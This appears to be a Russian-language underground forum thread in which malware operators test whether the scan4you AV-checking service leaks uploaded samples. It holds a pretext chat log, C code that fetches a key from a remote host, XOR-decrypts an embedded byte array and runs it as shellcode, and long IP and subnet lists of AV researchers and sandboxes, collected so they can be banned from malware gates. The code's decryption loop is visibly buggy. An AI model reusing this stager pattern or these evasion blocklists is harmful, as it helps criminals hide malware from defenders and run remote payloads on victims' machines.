Анонимная проверка анонимных AV-сервисов ;)

karabas-barabas

(L1) cache
Пользователь
Регистрация
18.07.2006
Сообщения
650
Реакции
5
Вообщем не один раз слышал от людей, что у них возникало подозрение на сервис scan4you. Вот и решил проверить на вшивость его, ну по крайней мере первый раунд проверки он выдержал самый простой, но и то приятно хоть , что первым попавшимся и всяких проходимцам типа меня не сливают файлы :)
Вот логи анонимной проверки

Код:
 AlexBuldikin (13:26:51 16/09/2010)
здравствуйте 
вы тут ?

 Scan4you (13:30:31 16/09/2010)
привет, тут

 AlexBuldikin (13:31:48 16/09/2010)
у меня есть к вам разговор , а точнее - это больше деловое предложение

 AlexBuldikin (13:32:31 16/09/2010)
вкратце наслышан про ваш сервис . говорят неплохой довольно таки 

 AlexBuldikin (13:33:50 16/09/2010)
я менеджер секурити компании и хотел бы обсудить с вами очень деликатный вопрос , а больше - как серьезное деловое предложение 

 AlexBuldikin (13:34:26 16/09/2010)
вообще с вами об этом лучше было бы пообщаться или можно например с вашим начальником и т.д. 

 AlexBuldikin (13:34:33 16/09/2010)
?

 AlexBuldikin (13:34:43 16/09/2010)
если так можно сказать 

 AlexBuldikin (13:35:33 16/09/2010)
ау я вас не слышу...

 AlexBuldikin (13:36:22 16/09/2010)
вообщем за серьезное предложение мы готовы платить очень серьезные деньги 

 AlexBuldikin (13:36:31 16/09/2010)
отпишите когда появитесь 

 Scan4you (13:37:07 16/09/2010)
я тут

 Scan4you (13:37:17 16/09/2010)
и что за компания ?

 AlexBuldikin (13:43:05 16/09/2010)
ну мой начальник сказал мне не разглашать название компании , собсно мы сейчас занимаемся продвижением нового антивируса , и соответственно раскручиваем свою компанию по всем направлениям... впринципе как для вас - название ничего не скажет , впринципе это и не должно иметь большого значения

собсно что мы предлагаем Вам:
1) предоставлять Нам доступ ко всем файлам, которые загружаются на Ваш сервис 
2) в свою очередь мы готовы предоставить "компенсацию" за это в сумме от 4000-6000 у.е в месяц в зависимости от количества файлов
хотя это не предел и если дойдет до логического завершения, детально сумма уже будет обсуждаться с моим начальником

Вообще как вас такого плана сотрудничество интересует ? 

 AlexBuldikin (13:44:58 16/09/2010)
если Вас что-то смущает и есть какие-то предложения - то смело пишите , думаю мы всегда сможем договориться

 Scan4you (13:47:36 16/09/2010)
"This service is about to help you in anonymous check of different anti-virus system. This check will be made by numbers of anti-virus system and no reports will be send to developers of this anti-virus system. You can be fully sure that your files will not be send to anti-virus databases." - eto pervoje 4to napisanno na nashem saite. Mi ne predostovljaem nikakih samples proizvoditeljam AV. S drugoj storoni esli vi hotite protetit` svoj dvizok i

 Scan4you (13:47:36 16/09/2010)
 posmotret` na rezul`tati, mi s udovol`stvijem podklju4im vash` novij antivirusnij dvizok. NO opjat` ze mi ne predostavim vam nikakih samplov failov.

 Scan4you (13:47:47 16/09/2010)
Tol`ko statisti4eskuju inforamciju o ka4estve vashego antivirusa.

 AlexBuldikin (13:52:08 16/09/2010)
хм... а мне чего-то казалось что мы с вами сможем договориться...ясно, спасибо за информацию...если надумаете то смело стучитесь

 AlexBuldikin (13:52:25 16/09/2010)
сумму возможно пересмотреть
 
с другой стороны даже такая сумма - довольно таки немалая, и покрывает почти 300 клиентов , если брать что месячная плата 25 бачей , просто брал чтобы казалось правдоподобней...
чуть позже проверим уже непосредственно заливая файл на их сервис
 
Скандалы, интриги, расследования.. с нетерпением жду результат анализа. Ар3с, надеюсь опишешь здесь
 
Я конечно архиолог но тестил помоему и их когда то чем то подобным:
Код:
#include "windows.h"
#include "wininet.h"
#include "stdio.h"

#pragma comment(lib,"wininet")

char SC[]=
"\x66\x12\x80\x59\x21\x58\x81\x60\x36\x32"
"\x67\x55\x70\x77\x97\x84\x19\x62\x24\x11"
"\x78\x90\x87\x78\x72\x55\x37\x51\x28\x33"
"\x47\x91\x44\x28\x51\x65\x85\x58\x25\x22"
"\x89\x92\x76\x60\x70\x74\x44\x88\x36\x67"
"\x99\x15\x58\x87\x93\x30\x43\x30\x80\x71"
"\x63\x28\x62\x81\x56\x14\x72\x42\x71\x97"
"\x63\x61\x89\x40\x21\x60\x15\x65\x49\x51"
"\x33\x48\x65\x90\x36\x59\x21\x79\x88\x2F"
"\x50\x51\x30\x13\x58\x85\x26\x31\x27\x97"
"\x28\x90\x58\x19\x30\x79\x77\x45\x44\x26"
"\x95\x76\x74\x61\x67\x11\x20\x88\x89\x8A"
"\x89\x40\x59\x18\x53\x17\x5C\x79\x48\x32"
"\x77\x75\x23\x35\x91\x53\x14\x70\x97\x58"
"\x95\x92\x35\x70\x53\x2E\x80\x72\x90\x70"
"\x80\x79\x11\x39\x98\x63\x56\x4D\x43\x41"
"\x35\x20\x79\x57\x55\x72\x10\x68\x42\x8B"
"\x27\x38\x99\x61\x80\x52\x63\x88\x25\x53"
"\x59\x66\x33\x69\x44\x31\x33\x1A\x35\x75"
"\x5F\x69\x94\x83\x27\x49\x55\x37\x18\x97";

void EncryptData(char *szData)
{
	int i,j;
	for(i=0,j=0;i<strlen(SC);i++)
	{
  SC[i]=SC[i]^szData[j];
  j++;
  if(j=32)
  {
  	j==0;
  }
	}
}
void main(void)
{
	static TCHAR hdrs[] = "Content-Type: application/x-www-form-urlencoded";
    PTCHAR accept[] = {"Accept: */*", NULL};
 
    static TCHAR data[] = "key=GetPass";
    char szData[1024];
    
    HINTERNET hSession = InternetOpen("MyAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET hConnect = InternetConnect(hSession, "ххх.ххх.ххх.ххх", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);
    HINTERNET hRequest = HttpOpenRequest(hConnect, "POST", "/style.php", NULL, NULL, (LPCSTR *) &accept, INTERNET_FLAG_KEEP_CONNECTION, 1);
    
    if (HttpSendRequest(hRequest, hdrs, -1L, data, (DWORD) strlen(data))){
        DWORD dwBytesRead;
        BOOL bRead = InternetReadFile(hRequest, szData, sizeof(szData)-1, &dwBytesRead);
        if (bRead && dwBytesRead)
  	{
            szData[dwBytesRead] = 0;
         }
    }
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);

	EncryptData(szData);

	void (*shell) ();
	shell = (void(*)()) (void*)SC;
	shell();
}

Шелкод - вовсе не шелкод а какой то кусок блокнота. Залитый на вирустотал, приносил мне в день кучи IP всяких копателей, которх я ставил в бан. А вот чекал я эти прЕватные сервисы или нет не помню.... Могу просерить. Делов на денек :)
 
Эм... Елси найду. Затея запущена. Поднять же все это снова дело секундное. Дайте хостинг с пхп и будем собирать данные. Для общего дела пригодится :)

Это то что стучало с вирустотала
Код:
109.74.154.83
119.194.217.254
122.164.156.162
122.224.129.146
128.241.109.182
130.207.203.2
137.56.163.64
143.215.130.105
173.254.192.38
174.133.89.80
174.133.89.84
174.133.89.90
178.25.98.100
188.99.250.100
192.35.222.186
193.71.68.2
202.190.74.29
204.93.130.132
209.17.128.147
209.59.35.17
209.59.54.205
213.47.251.78
217.149.63.65
217.23.133.100
217.23.133.98
217.23.133.99
217.23.140.61
217.23.140.62
24.98.40.16
38.105.71.72
46.165.197.130
58.101.165.44
61.181.247.146
64.85.49.13
66.129.97.254
70.137.155.159
72.64.146.112
72.64.146.73
74.55.187.42
77.247.181.164
81.191.109.112
87.177.145.122
87.225.253.173
91.121.139.153
91.199.104.15
91.20.20.172
92.80.68.53
95.211.2.215
95.79.183.28
96.50.0.168

Это собранные со связки, с форумов, короче база но не совсем актуальная. Начало 12 года
Код:
8.21.178.0/24
8.6.118.0/24
12.36.173.0/24
12.49.117.0/24
12.54.227.0/24
22.135.79.0/24
24.128.146.0/24
24.13.228.0/24
24.181.30.0/24
24.199.237.0/24
24.4.75.0/24
24.60.200.0/24
24.63.86.0/24
24.98.40.0/24
38.103.37.0/24
38.105.71.0/24
38.229.0.0/24
41.130.233.0/24
41.133.196.0/24
41.238.75.0/24
46.1.45.0/24
46.165.197.0/24
58.1.135.0/24
58.101.165.0/24
58.168.107.0/24
58.248.188.0/24
58.60.14.0/24
59.128.80.0/24
59.154.42.0/24
59.160.150.0/24
59.163.104.0/24
59.165.91.0/24
59.6.145.0/24
59.93.78.0/24
60.175.67.0/24
60.237.179.0/24
60.35.188.0/24
60.46.53.0/24
60.52.97.0/24
61.111.4.0/24
61.12.150.0/24
61.123.230.0/24
61.181.247.0/24
61.206.116.0/24
61.73.23.0/24
62.141.53.0/24
62.15.230.0/24
62.165.196.0/24
62.203.133.0/24
62.214.192.0/24
62.218.218.0/24
62.219.114.0/24
62.27.59.0/24
62.39.241.0/24
62.43.181.0/24
62.95.69.0/24
62.97.229.0/24
63.240.91.0/24
63.80.56.0/24
63.83.186.0/24
64.120.158.0/24
64.124.203.0/24
64.128.133.0/24
64.129.8.0/24
64.14.68.0/24
64.214.53.0/24
64.22.117.0/24
64.233.172.0/24
64.34.188.0/24
64.56.64.0/24
64.68.80.0/24
64.85.49.0/24
64.95.48.0/24
65.0.80.0/24
65.204.96.0/24
65.209.120.0/24
65.23.158.0/24
65.39.67.0/24
65.51.52.0/24
65.79.133.0/24
65.8.124.0/24
66.129.97.0/24
66.168.80.0/24
66.199.253.0/24
66.215.152.0/24
66.230.230.0/24
66.237.145.0/24
66.249.65.0/24
66.38.134.0/24
66.74.151.0/24
66.91.254.0/24
66.98.94.0/24
67.111.14.0/24
67.15.250.0/24
67.189.25.0/24
67.198.80.0/24
67.202.11.0/24
67.217.160.0/24
67.220.101.0/24
67.79.193.0/24
67.80.67.0/24
67.82.255.0/24
67.97.80.0/24
68.149.105.0/24
68.168.113.0/24
68.186.153.0/24
68.230.136.0/24
68.235.227.0/24
68.239.209.0/24
68.28.147.0/24
68.37.217.0/24
68.50.103.0/24
68.62.212.0/24
68.71.52.0/24
68.95.149.0/24
69.116.141.0/24
69.121.174.0/24
69.126.7.0/24
69.163.129.0/24
69.164.194.0/24
69.197.128.0/24
69.253.124.0/24
69.72.89.0/24
69.93.20.0/24
70.111.171.0/24
70.137.155.0/24
70.177.79.0/24
70.181.48.0/24
70.36.101.0/24
70.68.1.0/24
70.79.128.0/24
70.84.211.0/24
70.98.34.0/24
71.1.29.0/24
71.114.79.0/24
71.135.107.0/24
71.179.3.0/24
71.192.32.0/24
71.195.106.0/24
71.206.66.0/24
71.219.52.0/24
71.23.102.0/24
71.248.121.0/24
71.36.195.0/24
71.81.21.0/24
72.14.192.0/24
72.173.60.0/24
72.184.81.0/24
72.19.178.0/24
72.192.165.0/24
72.204.162.0/24
72.233.34.0/24
72.236.167.0/24
72.27.213.0/24
72.37.244.0/24
72.64.146.0/24
72.71.99.0/24
72.87.118.0/24
74.125.126.0/24
74.208.145.0/24
74.211.165.0/24
74.233.215.0/24
74.42.110.0/24
74.50.3.0/24
74.55.187.0/24
74.62.46.0/24
74.63.112.0/24
74.78.144.0/24
74.96.183.0/24
75.10.158.0/24
75.111.78.0/24
75.125.130.0/24
75.127.67.0/24
75.175.168.0/24
75.185.234.0/24
75.210.231.0/24
75.44.255.0/24
75.47.143.0/24
76.103.88.0/24
76.122.107.0/24
76.16.228.0/24
76.189.138.0/24
76.220.30.0/24
76.229.184.0/24
76.237.198.0/24
76.241.144.0/24
76.250.195.0/24
76.93.53.0/24
77.109.139.0/24
77.113.121.0/24
77.115.231.0/24
77.120.53.0/24
77.124.145.0/24
77.126.38.0/24
77.127.83.0/24
77.17.248.0/24
77.226.58.0/24
77.239.83.0/24
77.247.181.0/24
77.248.73.0/24
77.31.107.0/24
77.34.186.0/24
77.46.208.0/24
77.76.163.0/24
78.110.96.0/24
78.134.229.0/24
78.14.79.0/24
78.142.140.0/24
78.149.83.0/24
78.152.178.0/24
78.2.16.0/24
78.42.47.0/24
78.57.6.0/24
79.0.102.0/24
79.103.75.0/24
79.117.4.0/24
79.118.114.0/24
79.134.64.0/24
79.138.146.0/24
79.148.73.0/24
79.152.14.0/24
79.157.252.0/24
79.171.126.0/24
79.176.50.0/24
79.177.36.0/24
79.178.131.0/24
79.180.1.0/24
79.183.6.0/24
79.215.105.0/24
79.27.94.0/24
79.83.243.0/24
80.108.65.0/24
80.144.224.0/24
80.174.105.0/24
80.190.117.0/24
80.218.2.0/24
80.25.172.0/24
80.30.235.0/24
80.31.34.0/24
80.54.117.0/24
80.56.71.0/24
80.81.183.0/24
80.92.107.0/24
81.166.176.0/24
81.182.165.0/24
81.191.109.0/24
81.244.229.0/24
81.33.170.0/24
81.34.88.0/24
81.35.164.0/24
81.37.122.0/24
81.39.15.0/24
81.43.238.0/24
81.56.251.0/24
81.62.124.0/24
81.82.139.0/24
81.83.135.0/24
81.91.230.0/24
81.92.226.0/24
81.93.167.0/24
82.114.94.0/24
82.132.104.0/24
82.178.177.0/24
82.193.97.0/24
82.236.212.0/24
82.41.59.0/24
83.170.92.0/24
83.202.222.0/24
83.229.245.0/24
83.237.177.0/24
83.24.134.0/24
83.32.176.0/24
83.34.145.0/24
83.36.199.0/24
83.41.145.0/24
83.43.146.0/24
83.46.50.0/24
83.49.227.0/24
83.53.121.0/24
83.55.18.0/24
83.57.94.0/24
83.59.65.0/24
83.60.178.0/24
83.67.84.0/24
83.68.75.0/24
83.89.217.0/24
83.91.86.0/24
83.99.97.0/24
84.1.151.0/24
84.163.238.0/24
84.168.148.0/24
84.176.26.0/24
84.228.93.0/24
84.229.203.0/24
84.42.39.0/24
84.52.118.0/24
84.59.31.0/24
84.60.254.0/24
84.62.233.0/24
84.74.176.0/24
84.78.58.0/24
84.79.87.0/24
85.1.111.0/24
85.118.193.0/24
85.140.11.0/24
85.154.172.0/24
85.17.130.0/24
85.198.95.0/24
85.234.24.0/24
85.31.187.0/24
85.49.127.0/24
85.50.74.0/24
85.58.46.0/24
85.59.125.0/24
85.85.187.0/24
85.92.222.0/24
86.110.163.0/24
86.111.64.0/24
86.152.202.0/24
86.154.5.0/24
86.155.122.0/24
86.159.221.0/24
86.169.235.0/24
86.51.240.0/24
86.63.126.0/24
86.70.223.0/24
87.118.101.0/24
87.13.178.0/24
87.16.2.0/24
87.177.145.0/24
87.179.27.0/24
87.218.153.0/24
87.220.168.0/24
87.222.118.0/24
87.225.253.0/24
87.247.113.0/24
87.249.200.0/24
87.68.70.0/24
87.70.127.0/24
88.1.110.0/24
88.121.16.0/24
88.130.169.0/24
88.14.216.0/24
88.18.246.0/24
88.19.136.0/24
88.208.90.0/24
88.22.113.0/24
88.233.45.0/24
88.234.34.0/24
88.246.118.0/24
88.25.150.0/24
88.29.47.0/24
88.5.102.0/24
88.6.181.0/24
88.7.242.0/24
88.84.65.0/24
89.111.180.0/24
89.131.92.0/24
89.178.50.0/24
89.180.176.0/24
89.187.240.0/24
89.211.48.0/24
89.238.222.0/24
89.239.222.0/24
89.248.169.0/24
89.253.19.0/24
89.34.76.0/24
90.191.234.0/24
90.195.34.0/24
90.2.37.0/24
90.214.103.0/24
90.54.97.0/24
91.103.66.0/24
91.117.88.0/24
91.121.139.0/24
91.152.70.0/24
91.181.133.0/24
91.199.104.0/24
91.20.20.0/24
91.203.168.0/24
91.212.136.0/24
91.65.6.0/24
92.112.17.0/24
92.113.76.0/24
92.148.96.0/24
92.241.190.0/24
92.246.200.0/24
92.63.101.0/24
92.74.32.0/24
92.80.68.0/24
92.84.194.0/24
92.86.197.0/24
92.96.135.0/24
93.112.91.0/24
93.136.83.0/24
93.181.207.0/24
93.185.107.0/24
93.186.171.0/24
93.232.1.0/24
93.39.197.0/24
93.82.13.0/24
94.145.182.0/24
94.171.193.0/24
94.177.40.0/24
94.178.65.0/24
94.179.131.0/24
94.225.231.0/24
94.23.44.0/24
94.41.58.0/24
94.53.2.0/24
95.105.173.0/24
95.133.32.0/24
95.134.123.0/24
95.135.1.0/24
95.143.193.0/24
95.208.76.0/24
95.211.2.0/24
95.24.223.0/24
95.27.194.0/24
95.32.159.0/24
95.69.212.0/24
95.79.183.0/24
96.252.79.0/24
96.31.87.0/24
96.50.0.0/24
97.115.188.0/24
97.80.137.0/24
98.109.226.0/24
98.116.2.0/24
98.134.205.0/24
98.175.27.0/24
98.200.45.0/24
98.223.73.0/24
98.237.43.0/24
98.85.192.0/24
99.109.225.0/24
99.14.103.0/24
99.16.7.0/24
99.189.74.0/24
109.185.91.0/24
109.62.137.0/24
109.65.35.0/24
109.67.10.0/24
109.74.154.0/24
109.87.88.0/24
110.15.7.0/24
112.95.147.0/24
113.29.16.0/24
114.145.230.0/24
114.163.227.0/24
114.165.48.0/24
114.181.139.0/24
114.78.133.0/24
115.131.47.0/24
115.132.98.0/24
115.240.56.0/24
115.75.57.0/24
116.226.69.0/24
116.4.72.0/24
118.101.17.0/24
118.109.57.0/24
118.111.31.0/24
118.15.188.0/24
118.169.37.0/24
118.20.89.0/24
118.70.127.0/24
118.8.111.0/24
119.147.14.0/24
119.152.114.0/24
119.194.217.0/24
119.27.62.0/24
119.92.147.0/24
120.89.55.0/24
121.115.161.0/24
121.129.201.0/24
121.140.164.0/24
121.160.136.0/24
121.96.246.0/24
122.106.199.0/24
122.133.86.0/24
122.135.77.0/24
122.162.233.0/24
122.164.156.0/24
122.165.53.0/24
122.167.47.0/24
122.169.95.0/24
122.170.50.0/24
122.21.253.0/24
122.224.129.0/24
123.114.50.0/24
123.116.116.0/24
123.225.16.0/24
123.252.193.0/24
124.122.66.0/24
124.178.232.0/24
124.217.54.0/24
124.25.203.0/24
124.254.179.0/24
124.44.147.0/24
124.49.72.0/24
124.82.234.0/24
125.0.26.0/24
125.17.11.0/24
125.195.89.0/24
125.198.36.0/24
125.200.67.0/24
125.30.121.0/24
125.33.176.0/24
125.89.223.0/24
128.111.48.0/24
128.130.56.0/24
128.241.109.0/24
129.62.100.0/24
130.107.10.0/24
130.195.4.0/24
130.207.203.0/24
130.76.32.0/24
130.94.107.0/24
131.159.20.0/24
134.155.241.0/24
137.56.163.0/24
138.210.79.0/24
139.91.76.0/24
140.115.83.0/24
141.76.45.0/24
143.215.130.0/24
144.135.104.0/24
144.206.32.0/24
145.236.111.0/24
145.72.98.0/24
147.87.113.0/24
149.20.4.0/24
149.5.168.0/24
149.9.0.0/24
150.101.157.0/24
150.70.64.0/24
151.16.44.0/24
164.71.1.0/24
165.243.5.0/24
166.164.125.0/24
166.77.6.0/24
168.61.10.0/24
169.204.2.0/24
173.11.168.0/24
173.160.79.0/24
173.169.76.0/24
173.244.197.0/24
173.254.192.0/24
173.54.102.0/24
174.114.81.0/24
174.124.0.0/24
174.133.89.0/24
174.29.120.0/24
175.113.82.0/24
175.144.160.0/24
178.25.98.0/24
178.255.248.0/24
178.33.40.0/24
178.66.91.0/24
178.74.196.0/24
178.92.134.0/24
178.93.36.0/24
178.94.55.0/24
183.101.88.0/24
183.60.2.0/24
184.73.212.0/24
187.147.37.0/24
188.100.208.0/24
188.106.205.0/24
188.165.25.0/24
188.2.9.0/24
188.240.47.0/24
188.40.135.0/24
188.62.232.0/24
188.80.239.0/24
188.93.10.0/24
188.98.73.0/24
188.99.250.0/24
189.235.18.0/24
189.239.23.0/24
189.32.115.0/24
189.69.87.0/24
190.135.21.0/24
190.167.56.0/24
190.26.45.0/24
192.102.1.0/24
192.168.110.0/24
192.192.45.0/24
192.251.226.0/24
192.35.222.0/24
192.51.44.0/24
193.124.133.0/24
193.169.62.0/24
193.200.150.0/24
193.253.141.0/24
193.71.68.0/24
194.102.94.0/24
194.154.227.0/24
194.187.155.0/24
194.192.187.0/24
195.134.168.0/24
195.158.233.0/24
195.168.53.0/24
195.187.243.0/24
195.19.8.0/24
195.214.79.0/24
195.222.71.0/24
195.225.52.0/24
195.228.45.0/24
195.64.184.0/24
195.71.226.0/24
195.88.252.0/24
196.29.186.0/24
198.172.201.0/24
198.24.31.0/24
198.65.160.0/24
199.126.212.0/24
199.203.92.0/24
199.64.0.0/24
200.0.16.0/24
200.144.115.0/24
200.25.136.0/24
200.38.74.0/24
200.92.201.0/24
200.94.69.0/24
201.152.177.0/24
201.53.199.0/24
201.92.40.0/24
202.147.142.0/24
202.172.28.0/24
202.173.135.0/24
202.190.74.0/24
203.12.2.0/24
203.177.246.0/24
203.178.143.0/24
203.210.205.0/24
203.5.112.0/24
203.81.72.0/24
204.118.31.0/24
204.14.90.0/24
204.181.64.0/24
204.209.56.0/24
204.93.130.0/24
205.168.77.0/24
205.212.75.0/24
206.208.58.0/24
206.53.147.0/24
207.138.86.0/24
207.189.121.0/24
207.195.253.0/24
207.219.97.0/24
207.67.149.0/24
208.115.138.0/24
208.118.60.0/24
208.50.101.0/24
208.53.142.0/24
208.75.57.0/24
208.80.194.0/24
209.116.62.0/24
209.160.33.0/24
209.167.10.0/24
209.17.128.0/24
209.185.108.0/24
209.234.9.0/24
209.239.79.0/24
209.59.35.0/24
210.105.37.0/24
210.121.169.0/24
210.131.75.0/24
210.227.203.0/24
210.6.70.0/24
211.13.42.0/24
211.19.90.0/24
211.26.92.0/24
212.101.19.0/24
212.143.70.0/24
212.152.49.0/24
212.162.128.0/24
212.187.57.0/24
212.227.101.0/24
212.4.138.0/24
212.5.80.0/24
212.56.95.0/24
213.112.109.0/24
213.115.201.0/24
213.141.32.0/24
213.185.6.0/24
213.30.189.0/24
213.47.251.0/24
216.104.15.0/24
216.161.202.0/24
216.164.135.0/24
216.17.247.0/24
216.18.100.0/24
216.239.33.0/24
216.24.131.0/24
216.244.65.0/24
216.245.222.0/24
216.33.229.0/24
216.38.216.0/24
217.10.41.0/24
217.149.63.0/24
217.210.208.0/24
217.23.133.0/24
217.42.221.0/24
217.75.75.0/24
217.86.133.0/24
217.91.177.0/24
218.146.131.0/24
218.17.167.0/24
219.113.27.0/24
219.116.48.0/24
219.121.66.0/24
219.126.177.0/24
220.104.84.0/24
220.156.4.0/24
220.213.31.0/24
220.245.140.0/24
221.207.255.0/24
221.219.115.0/24
221.6.44.0/24
222.112.143.0/24
222.130.131.0/24
222.216.51.0/24
 
паук
Пару лет назад кто-то на Дамаге тестил VT и ещё какой-то схожий, популярный на тот момент ресурс примерно тем же способом, на предмет работы галочки "Не отсылать антивирусам файл". Как выяснилось, галочка не работала)
С приватными сервисами на мой взгляд вопрос, кто именно будет копаться, антивирусники или охотники за приватом.
 
Ну давайте проведем тест заново.
1. Собираем список платных АВ сервисов.
2. Под каждый сервис делаем свой уникальный билд exe.
3. Тестим билд на сервисе.
4. Ждем неделю (для уверенности) и проверяем билд снова.
5. пруф.

p.s. я готов заняться вопросом. Дайте список сервисов и билды под них. Финансовая сторона на мне будет.
 
Не надо никаких ФУДОв туда заливать. Говорю же, достаточно файл с отстуком на пхп-снифер залить. Если на снифер кто-то отстучится, значи файл слили. Файл могу сбилдить. Дайте адрес куда стучать.

П,С, Есть доступ на scan4you / check4me
 
Гейт от стукача умеет логировать ip при обращении. А стукач умеет стучать на гейт. Все просто.
Завтра утром залью админку стукача на длаб и можем проверить. Одно меня смущает. Неужели ты считаешь, что аверы настолько тупы, что бы тестить на реальном канале?
 
Что значит на реальном ?! Нам надо забанить то, что обстукивает наши гейты. Мы получим то что их обстукивает. Какая нам разница. пусть хоть за 10 впн сидят. На ДЛ не заливай, мой домен поймал абузу после такого эксперимента, хотя реально файл ничего не делает :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх